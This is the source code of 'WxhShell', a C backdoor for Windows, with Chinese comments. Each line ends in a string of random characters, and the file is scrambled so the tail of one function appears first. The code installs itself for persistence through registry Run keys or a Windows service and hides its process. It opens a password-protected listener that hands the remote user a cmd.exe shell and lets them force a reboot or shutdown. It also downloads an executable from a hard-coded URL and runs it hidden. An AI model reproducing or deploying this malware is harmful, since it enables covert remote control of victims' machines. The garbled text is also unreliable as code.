    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? OrRTRW  
    if(Boot(SHUTDOWN)) zd1X(e<|{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "YY6_qQR'  
    else { o[C,fh,$  
    closesocket(wsh); }Yd7<"kp  
    ExitThread(0); ,9T-\)sT  
    } /b3b0VfF  
    break; \^7D% a=;C  
    } l ;TWs_N  
  // 获取shell MXy~kb&  
  case 's': { GabY xYK  
    CmdShell(wsh); 9d7`R'  
    closesocket(wsh); RRGo$  
    ExitThread(0); ;0j 8Xj  
    break; v6r,2Va/  
  } G[34:J  
  // 退出 ~N{ 7  
  case 'x': { Ko6>h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {.vU;  
    CloseIt(wsh); ,^]yU?eU  
    break; }u"iA^'Ot  
    } d@o1< Q  
  // 离开 rGPFPsMQ]  
  case 'q': { C'4gve 7!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 83rtQ ;L  
    closesocket(wsh); "P4#Q_  
    WSACleanup(); \UKr|[P  
    exit(1); u} y)'eH  
    break;  "u#T0  
        } x8L$T (^  
  } LQy`,-&  
  } ?!PpooYK  
zT;F4_p3G-  
  // 提示信息 +k@$C,A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :a YbP,mE  
} `tmd'  
  } $w,&h:.p  
85$W\d  
  return; ``l7|b jJ  
} |7 .WP;1  
Qfx:}zk{  
// shell模块句柄 >Q159qZ  
int CmdShell(SOCKET sock) ~N2<-~=si  
{ _0Mt*]L }  
STARTUPINFO si; ^SdorPOq&  
ZeroMemory(&si,sizeof(si)); ==$>M d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yh=/?&*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Aqi9@BH  
PROCESS_INFORMATION ProcessInfo; ~_XJ v  
char cmdline[]="cmd"; Q]9g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AOvn<Q  
  return 0; f@:.bp8VB8  
} 4g^nhJP$  
$@H]0<3,  
// 自身启动模式 Qw&It  
int StartFromService(void) ?Q`u\G3.m  
{ IF"-{@  
typedef struct "RZV v~BD  
{ >5,nB<  
  DWORD ExitStatus; F(?A7  
  DWORD PebBaseAddress; d(LX;sq?  
  DWORD AffinityMask; vjfV??XSU  
  DWORD BasePriority; FH"u9ygF  
  ULONG UniqueProcessId; t)O8ON  
  ULONG InheritedFromUniqueProcessId; ~,199K#'  
}   PROCESS_BASIC_INFORMATION; U _QCe+  
I/F3%'O  
PROCNTQSIP NtQueryInformationProcess; dd$}FlT  
Vn4y^_H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =!@5!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @"B"*z-d  
Re`'dde=  
  HANDLE             hProcess; hj~nLgpN  
  PROCESS_BASIC_INFORMATION pbi; =LP,+z  
jrOqspv   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *)+K+J  
  if(NULL == hInst ) return 0; 8OYw72&  
3B{B6w}t&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V(-=@UW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +7HM7cw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +:JyXF u  
g\Ck!KJ/y  
  if (!NtQueryInformationProcess) return 0; -+#QZ7b  
s<}d)L(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;ALkeUR[  
  if(!hProcess) return 0; 9DAk|K  
 BKiyog  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F_Pv\?35z  
g;|3n&  
  CloseHandle(hProcess); _A[k&nO!&J  
Klw\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jB"?iC.  
if(hProcess==NULL) return 0; X>0$zE@0  
2swHJ.d\  
HMODULE hMod; B~[}E]WEK  
char procName[255]; H <gC{:S  
unsigned long cbNeeded; Bu:h_sV D  
W7k0!Grrl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s>A!Egmo  
;QRnZqSv  
  CloseHandle(hProcess); /FP;Hsw%  
#osP"~{  
if(strstr(procName,"services")) return 1; // 以服务启动 z2EZ0vZ  
-d|Q|zF^x  
  return 0; // 注册表启动 L)0j&  
} b.Yl0Y  
1WArgR  
// 主模块 Oa8lrP`(  
int StartWxhshell(LPSTR lpCmdLine) >?pWbL  
{ BqF%2{  
  SOCKET wsl; 5x( [fG  
BOOL val=TRUE; F4Jc7k2  
  int port=0; x4r=ENO)q  
  struct sockaddr_in door; V3^=Mj2"  
'G6M:IXno  
  if(wscfg.ws_autoins) Install(); (W=J3 ?hn  
2}NWFM3C  
port=atoi(lpCmdLine); 88K=jo))b  
zc}qAy'<  
if(port<=0) port=wscfg.ws_port; 7K*\F}2)q  
1$Jria5n  
  WSADATA data; C4Tn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Aqc Cb[1r  
lur$?_gt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #_A <C+[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1XwW4cZ>:  
  door.sin_family = AF_INET; `|t X[':  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? iX1;c9  
  door.sin_port = htons(port); *%{  
>z(AQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w<m) T  
closesocket(wsl); igoUKDNiQ-  
return 1; h{$mL#J  
} ftL>oOz[  
POnI&y]  
  if(listen(wsl,2) == INVALID_SOCKET) { /SXms'C  
closesocket(wsl); iva?3.t  
return 1; S%+$  
} v7V.,^6+  
  Wxhshell(wsl); %(9BWO  
  WSACleanup(); BIFuQ?j3  
X_j=u1*5  
return 0; vlHE\%{  
l7.W2mg  
} Ab"mX0n  
1z4s1 Y  
// 以NT服务方式启动 8-A * Jc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z_Nw%V4kr  
{ [i8,rOa7  
DWORD   status = 0; 0Hs\q!5Q  
  DWORD   specificError = 0xfffffff; DeMF<)#  
,%|$# g 0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dHcGe{T^(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SO}$96  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bn[5M [  
  serviceStatus.dwWin32ExitCode     = 0; Esc*+}ck  
  serviceStatus.dwServiceSpecificExitCode = 0; 2EHeQ|#  
  serviceStatus.dwCheckPoint       = 0; ~7N>tjB  
  serviceStatus.dwWaitHint       = 0; j3!]wolY  
<2\4eusk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LPg1G+e  
  if (hServiceStatusHandle==0) return; @Ju!|G9z/p  
NwK(<dzG  
status = GetLastError(); )$# Ku2X  
  if (status!=NO_ERROR) QQd%V#M?  
{ *@M7J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SqiLp!Y`  
    serviceStatus.dwCheckPoint       = 0; /1Xji 0LK  
    serviceStatus.dwWaitHint       = 0; `kx+Kc  
    serviceStatus.dwWin32ExitCode     = status; )u. ut8![T  
    serviceStatus.dwServiceSpecificExitCode = specificError; [7QIpt+FSo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5SAlj  
    return; ~MvLrg"i  
  } _` %z  
G8JwY\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HxC_n h  
  serviceStatus.dwCheckPoint       = 0; Vd8BQB,Q  
  serviceStatus.dwWaitHint       = 0; .ZK|%VGW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nUAs:Q  
} I+) Acy;  
E&?z-,-o@  
// 处理NT服务事件,比如:启动、停止 #-QQ_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bS0z\!1  
{ nly`\0C  
switch(fdwControl) u6~|].j R  
{ u}Q@u!~e9  
case SERVICE_CONTROL_STOP: K1P3 FfG  
  serviceStatus.dwWin32ExitCode = 0; uW.)(l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nDR)UR  
  serviceStatus.dwCheckPoint   = 0; =w~phn  
  serviceStatus.dwWaitHint     = 0; SI:+I4i  
  { {y{& tz Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S?Y,sl+A:  
  } PV2cZ/  
  return; I b)>M`J  
case SERVICE_CONTROL_PAUSE: oSb,)k@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fbbk;Rq.'3  
  break; /<(d.6T[}:  
case SERVICE_CONTROL_CONTINUE: 5"f')MKUV9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P=)&]Pz  
  break; {9 >jWNx  
case SERVICE_CONTROL_INTERROGATE: d83K;Ryd  
  break; RVxlN*  
}; I2@pkVv3z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -U6" Ce  
} =YPvh]][  
a95QDz  
// 标准应用程序主函数 ub |tX 'o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uvo2W!  
{ 3pSkk  
K-$gTV  
// 获取操作系统版本 3>[_2}l  
OsIsNt=GetOsVer(); g-c\ ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rPV\ F  
=K<8X!xUW  
  // 从命令行安装 G)A5;u\P9  
  if(strpbrk(lpCmdLine,"iI")) Install(); } k[gR I]  
r)jj]$0  
  // 下载执行文件 ;cBFft}D  
if(wscfg.ws_downexe) { tUXq!r<'dT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q]%c 6{w  
  WinExec(wscfg.ws_filenam,SW_HIDE); * i[^-  
} gA e*kf1  
K0xZZ`  
if(!OsIsNt) { dP(*IOO.  
// 如果时win9x,隐藏进程并且设置为注册表启动 hP4*S^l  
HideProc(); ~eH+*U|\|M  
StartWxhshell(lpCmdLine); $ctY#:;pV{  
} XgUvgJ  
else ;;E "+.  
  if(StartFromService()) B]K@'#  
  // 以服务方式启动 h' OLj#H  
  StartServiceCtrlDispatcher(DispatchTable); |BD]K0  
else vb{+yEa  
  // 普通方式启动 |okS7.|IX  
  StartWxhshell(lpCmdLine); g)+45w*+5  
[c@14]e  
return 0; v4}kmH1  
} 4  |$|]E  
YShtoaCx>  
?@ ei_<A{  
#NM .g  
=========================================== DCfV  
,*fvA?  
EQ&E C  
Y?Yix   
1MdVWFKXV  
\*#9Ry^f  
" UOrf wK  
jP6;~[rl  
#include <stdio.h> .^^YS$%%7  
#include <string.h> ;|v6^2H"  
#include <windows.h> ]*+ozAG4  
#include <winsock2.h> rIz"_r  
#include <winsvc.h> zmI?p4,  
#include <urlmon.h> XfF Z;ul  
C% <[mM  
#pragma comment (lib, "Ws2_32.lib") 2U6j?MyH2  
#pragma comment (lib, "urlmon.lib") b'Gn)1NE  
6KmF 9  
#define MAX_USER   100 // 最大客户端连接数 kW&{0xkGR  
#define BUF_SOCK   200 // sock buffer <o5+*X  
#define KEY_BUFF   255 // 输入 buffer q2}<n'o+  
Lxm1.TOJ  
#define REBOOT     0   // 重启 n$ye:p>`-  
#define SHUTDOWN   1   // 关机 Z3=DM=V;v  
EJYfk?(B  
#define DEF_PORT   5000 // 监听端口 xq',pzN  
-`6O(he  
#define REG_LEN     16   // 注册表键长度 )J+vmY~&  
#define SVC_LEN     80   // NT服务名长度 v7VJVLH,I7  
DoA4#+RU  
// 从dll定义API V)\|I8"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H".~@,-}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e!}R1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <{.o+~k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qz;2RELz  
8Pklw^k   
// wxhshell配置信息 Y7)YJI  
struct WSCFG { +x$;T*0  
  int ws_port;         // 监听端口 M?5[#0"&V  
  char ws_passstr[REG_LEN]; // 口令 9PEjV$0E2  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]* -9zo0  
  char ws_regname[REG_LEN]; // 注册表键名 +0;n t  
  char ws_svcname[REG_LEN]; // 服务名 @)iv'   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :NHh`@0F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 li\hHd5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $53I%.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dq+rEt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r?d601(fa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s]0x^"#B  
0mL#8\'"  
}; ^<xpp.eY  
GOHRBV  
// default Wxhshell configuration [Fe`}F}Co8  
struct WSCFG wscfg={DEF_PORT, ]t]s/;9]K  
    "xuhuanlingzhe", S'vi +_  
    1, ~q#UH'=%  
    "Wxhshell", v]gJ 7x  
    "Wxhshell", t)XNS!6#]?  
            "WxhShell Service", YS k,kU  
    "Wrsky Windows CmdShell Service", H-?SlVsf  
    "Please Input Your Password: ", GEy^*, d  
  1, X:+;d8rCy  
  "http://www.wrsky.com/wxhshell.exe", Ph2jj,K  
  "Wxhshell.exe" MsCY5g  
    }; h9LA&!  
WcAX/<Y>  
// 消息定义模块 +LV~%?W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; draY /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s$J0^8Q~i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2J9_(w  
char *msg_ws_ext="\n\rExit."; tlu-zUsi  
char *msg_ws_end="\n\rQuit."; fb4/LVg'J  
char *msg_ws_boot="\n\rReboot..."; py9(z`}  
char *msg_ws_poff="\n\rShutdown..."; zCj]mH`es'  
char *msg_ws_down="\n\rSave to "; %7pT\8E5  
>Rs:Fw|jro  
char *msg_ws_err="\n\rErr!"; Z ) qc-~S  
char *msg_ws_ok="\n\rOK!"; h djv/  
bTE%p0  
char ExeFile[MAX_PATH]; -?' r_t  
int nUser = 0; Y<%$;fx$Sx  
HANDLE handles[MAX_USER]; i1ur>4Ns  
int OsIsNt; " GkBX  
$S|bD$e  
SERVICE_STATUS       serviceStatus; 6",1JH,;p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i}N'W V`!  
I/rq@27o  
// 函数声明 * Ibl+  
int Install(void); X a#`VDh  
int Uninstall(void); g:`V:kbY$  
int DownloadFile(char *sURL, SOCKET wsh); Wcl@ H @  
int Boot(int flag); wqJ^tA!  
void HideProc(void); 3|-)]^1O  
int GetOsVer(void); gI6./;;x  
int Wxhshell(SOCKET wsl); p E lF,Y  
void TalkWithClient(void *cs); D`,W1Z#  
int CmdShell(SOCKET sock); d%NO_=I.  
int StartFromService(void); 3iJ4VL7  
int StartWxhshell(LPSTR lpCmdLine); Q3u P7j  
m^@,0\F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c?"#x-<1s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5;oWFl  
IM|VGT0  
// 数据结构和表定义 i-~HT4iw  
SERVICE_TABLE_ENTRY DispatchTable[] = l4u_Z:<w  
{ rePJ4i [y  
{wscfg.ws_svcname, NTServiceMain}, {<o_6 z`$  
{NULL, NULL} yNi/JM  
}; p)RASIB  
\-$wY%7  
// 自我安装 T?{"T/  
int Install(void) 5ycccMx0V  
{ ,IF3VE&r  
  char svExeFile[MAX_PATH]; PsMoH/+"  
  HKEY key; s"?Z jV)`  
  strcpy(svExeFile,ExeFile); F\F_">5  
f1y3l1/  
// 如果是win9x系统,修改注册表设为自启动 f/&gR5  
if(!OsIsNt) { 0#0[E,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L,M=ogdb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XCCN6[[+  
  RegCloseKey(key); o( Yfnnuy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pqli3(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vmm#UjwF3  
  RegCloseKey(key); Lqq RuKi  
  return 0; ;D&FZ|`(u  
    } [Nbs{f^J=  
  } vx62u29m  
} *cz nokq6  
else { +KgLe>-}  
FY+0r67]  
// 如果是NT以上系统,安装为系统服务 w4P?2-kB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .w/w] Eq  
if (schSCManager!=0) Q^>"AhOiU  
{ rg64f'+Eug  
  SC_HANDLE schService = CreateService X*hY?'Rp  
  ( YAQ]2<H  
  schSCManager,  yaza  
  wscfg.ws_svcname, A-x; ai]  
  wscfg.ws_svcdisp, $ OB2ZS"  
  SERVICE_ALL_ACCESS, 1`J-|eH=Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XFKe6:  
  SERVICE_AUTO_START, 3cfW|J  
  SERVICE_ERROR_NORMAL, w=H   
  svExeFile, GcaLP*%>B  
  NULL, 3 5;|r  
  NULL, k#X~+}N^  
  NULL, n4\UoKq  
  NULL, hAX@|G.  
  NULL 6RV42r^pf  
  ); EK`}?>'  
  if (schService!=0) S^(OjS  
  {  "TE F  
  CloseServiceHandle(schService); "`HkAW4GZa  
  CloseServiceHandle(schSCManager); {~q"Y]?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UgI0 *PE2  
  strcat(svExeFile,wscfg.ws_svcname); qg1s]c~0u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YbAa@Sq@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NV\t%/ ?  
  RegCloseKey(key); )tYu3*'  
  return 0; PJ}d-   
    } @9#l3  
  } Y\s ge  
  CloseServiceHandle(schSCManager); &?X0;,5)  
} jMUd,j`Opx  
} 8R|!$P  
ls[0X82F  
return 1; A1>fNilC9  
} g{PEplk  
iW u  
// 自我卸载 +}3l$L'bY  
int Uninstall(void) 0b=1Ce+0q  
{ :Kq]b@ X  
  HKEY key; RZMR2fP%  
vq?Lej  
if(!OsIsNt) { m&S *S_c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { suOWmqLs  
  RegDeleteValue(key,wscfg.ws_regname); Y#e,NN  
  RegCloseKey(key); pW&K=,7|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lf 0X(tC  
  RegDeleteValue(key,wscfg.ws_regname); _:+hB9n s  
  RegCloseKey(key); e|-&h `[  
  return 0; xP{)+$n  
  } _v6x3 Z  
} {,NF'x4$  
} ^cDHC^Wm  
else { njxfBA:  
.9NYa|+0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~a$h\F'6  
if (schSCManager!=0) gwGw  
{ mNA=<O;i)'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,,G[360  
  if (schService!=0) s$gR;su)g  
  { rdH3!  
  if(DeleteService(schService)!=0) { &J?:wC=E  
  CloseServiceHandle(schService); 9Bao~(j/k  
  CloseServiceHandle(schSCManager); =h\unQ1T  
  return 0; 'MgYSP<  
  } MxgJ+  
  CloseServiceHandle(schService); O!G!Gq&  
  } zm!M'|~@7  
  CloseServiceHandle(schSCManager); 4`e[gvh  
} q6'Q-e)  
} !8e;3W  
vnN 0o5  
return 1; [KL-T16  
} j-cp  
d{J@A;d a  
// 从指定url下载文件 m'zve%G  
int DownloadFile(char *sURL, SOCKET wsh) [XE\2Qa8e  
{ "&:H }Jd  
  HRESULT hr; l*.u rG  
char seps[]= "/"; N7u|< 0[  
char *token; b4qMTRnv  
char *file; YP Qix  
char myURL[MAX_PATH]; a]/KJn /B(  
char myFILE[MAX_PATH]; 1}_4C0h\'  
W) Ct*I^  
strcpy(myURL,sURL); ZkJLq[:cM  
  token=strtok(myURL,seps); VqUCcT  
  while(token!=NULL) B*(BsXQLY  
  { HLkI?mW<  
    file=token; *Z$W"JP  
  token=strtok(NULL,seps); [l/!&6  
  } < 1%}8t"  
",xTgB3?V  
GetCurrentDirectory(MAX_PATH,myFILE); f(G1xw]]@Y  
strcat(myFILE, "\\"); c@2a)S8Y]  
strcat(myFILE, file); G@KDRv  
  send(wsh,myFILE,strlen(myFILE),0); 7B<,nKd  
send(wsh,"...",3,0); : *XAQb0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RFLfvD<  
  if(hr==S_OK) IH&0>a  
return 0; -=cm7/X  
else _NB*+HVo  
return 1; + ZK U2N*  
*c\XQy  
} &:&~[4>%a  
$q*a}d[Q  
// 系统电源模块 F$-fj "jC  
int Boot(int flag) Q6HghG  
{ ^mg:<_p  
  HANDLE hToken; \%&A? D  
  TOKEN_PRIVILEGES tkp; 8_E(.]U  
aAbA)'G  
  if(OsIsNt) { DZ @B9<Zz{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K&n-(m%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rc:}%a%e  
    tkp.PrivilegeCount = 1; lu00@~rx/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gV-*z}`U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zf1 uK(6X  
if(flag==REBOOT) { MhR`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EjFn\|VK  
  return 0; [-VK! 9pQ  
} w\MWr+4  
else { t=X=",)f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h=S7Z:IaM  
  return 0; W+GC3W   
} Vz$xV!  
  } ,p3]`MG  
  else { X4 ] miUmh  
if(flag==REBOOT) { 4Z>gK(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gh/nNwyu<  
  return 0; #6 vf:94  
} %g:'6%26  
else { Z1jxu;O(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f=k#o2  
  return 0; n?nzm "g  
} EcL6lNTR+  
} .8Bu%Sf  
9tU"+  
return 1; O Bcz'f~  
} NTD1QJ  
1I`F?MT  
// win9x进程隐藏模块 _?:jZ1wZ  
void HideProc(void) Arg/ge.y  
{ 5q*s_acQ  
E a&NJ]& g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {f\wIZ-K A  
  if ( hKernel != NULL ) L {P'mG=4  
  { aPzn4}~/_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YHO}z}f[!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zj!,3{jX^  
    FreeLibrary(hKernel); p @kRo#~l  
  } $cIaLq  
A"ATtid  
return; =y-yHRC7  
} .SjJG67OyA  
F \ls]luN  
// 获取操作系统版本 ]:#=[ CH  
int GetOsVer(void) r :$tvT*  
{ \?]U*)B.r  
  OSVERSIONINFO winfo; )2RRa^=&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cz,QP'g  
  GetVersionEx(&winfo); ]7Du/)$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5\# F5s}  
  return 1; QK?V^E  
  else Nd]F 33|X  
  return 0; |,p"<a!+{w  
} Dc@O Mr  
5"@>>"3U  
// 客户端句柄模块 {Y@shf;  
int Wxhshell(SOCKET wsl) ~9 .=t'  
{ }< H>9iJ:  
  SOCKET wsh; jQ;/=9  
  struct sockaddr_in client; -'g> i  
  DWORD myID; w") G:K  
)-_^vB  
  while(nUser<MAX_USER) 3nG.ah  
{ +Ps.HW#NY  
  int nSize=sizeof(client); WI4<2u;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O_8 SlW0e  
  if(wsh==INVALID_SOCKET) return 1; m{Vd3{H40  
7H)$NG<U$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,eBC]4)B6  
if(handles[nUser]==0) beBG40  
  closesocket(wsh); aaig1#a@1b  
else u0Wt"d-=  
  nUser++; <HoCt8>U  
  } zI4rAsysL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  y Ne?a{  
5aizWz  
  return 0; 9tJ0O5  
} #0r~/gW  
RbL?(  
// 关闭 socket c 9f"5~  
void CloseIt(SOCKET wsh) r@3-vLI!u  
{ U}5fjY  
closesocket(wsh); =}#yi<Lt  
nUser--; JY2<ECO  
ExitThread(0); `jGeS[FhR  
} F*[E28ia&  
qg& /!\  
// 客户端请求句柄 EjLq&QR.  
void TalkWithClient(void *cs) wx*?@f>u^  
{ >t3_]n1e  
u:f ]|Q  
  SOCKET wsh=(SOCKET)cs; `Y:]&w  
  char pwd[SVC_LEN]; PP$sdmo  
  char cmd[KEY_BUFF]; iT :3e%  
char chr[1]; a2B71RT~  
int i,j; 4W" A*A  
uC;_?Bve  
  while (nUser < MAX_USER) { DLrV{8%W  
E xhih^[_  
if(wscfg.ws_passstr) { MvpJ0Y (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RG{T\9]n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9s^$tgH  
  //ZeroMemory(pwd,KEY_BUFF); K khuPBd2  
      i=0; rNq* z,  
  while(i<SVC_LEN) { KkZx6A)$u  
M YF ^zheD  
  // 设置超时 `-uE(qp  
  fd_set FdRead; ^wolY0p  
  struct timeval TimeOut; S/XU4i:aV  
  FD_ZERO(&FdRead); aDdGhB  
  FD_SET(wsh,&FdRead); \Ip)Lm0  
  TimeOut.tv_sec=8; ;stuTj@vH  
  TimeOut.tv_usec=0; Ab ,^y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nZbI}kcm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Y${'  
{!|4JquE_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3[ [oAp  
  pwd=chr[0]; 8X,6U_>#a  
  if(chr[0]==0xd || chr[0]==0xa) { ~pRgTXbz  
  pwd=0; #SHeK 4  
  break; R xMsP;be  
  } 7<xnE]jdq  
  i++; }qiZ%cT.G  
    } :cC$1zv@  
`MVqd16Y  
  // 如果是非法用户,关闭 socket &IQ=M.!r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uI-T]N:W8x  
} P+j=]Yg  
}*6BaB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =IC.FT}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mITB\,,G  
@PvO;]]%  
while(1) { L~6%Fi&n4  
*&I>3;~%^}  
  ZeroMemory(cmd,KEY_BUFF); /A7( `l;6  
xG/Q%A  
      // 自动支持客户端 telnet标准   J{ju3jo  
  j=0; 4f\NtQ)  
  while(j<KEY_BUFF) { W'@ |ob  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M- ^I!C  
  cmd[j]=chr[0]; bp?5GU&Uy  
  if(chr[0]==0xa || chr[0]==0xd) { ln82pQD2Y~  
  cmd[j]=0; gyvrQ, u  
  break; ,0! 2x"Q=  
  } v1:.t  
  j++; +yP!7]  
    } uxf,95<g)  
$.jG O!  
  // 下载文件 u(f   
  if(strstr(cmd,"http://")) { jA{5)-g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dQj/ Sr  
  if(DownloadFile(cmd,wsh)) i5}Zk r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4*c/ c6  
  else bCw{9El!K4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?#K.D vGJ  
  } Yj&Sb  
  else { XZ%,h  
]rlZP1".  
    switch(cmd[0]) { ^~H}N$W"-q  
  ~n]5iGz  
  // 帮助 _@ao$)q{J  
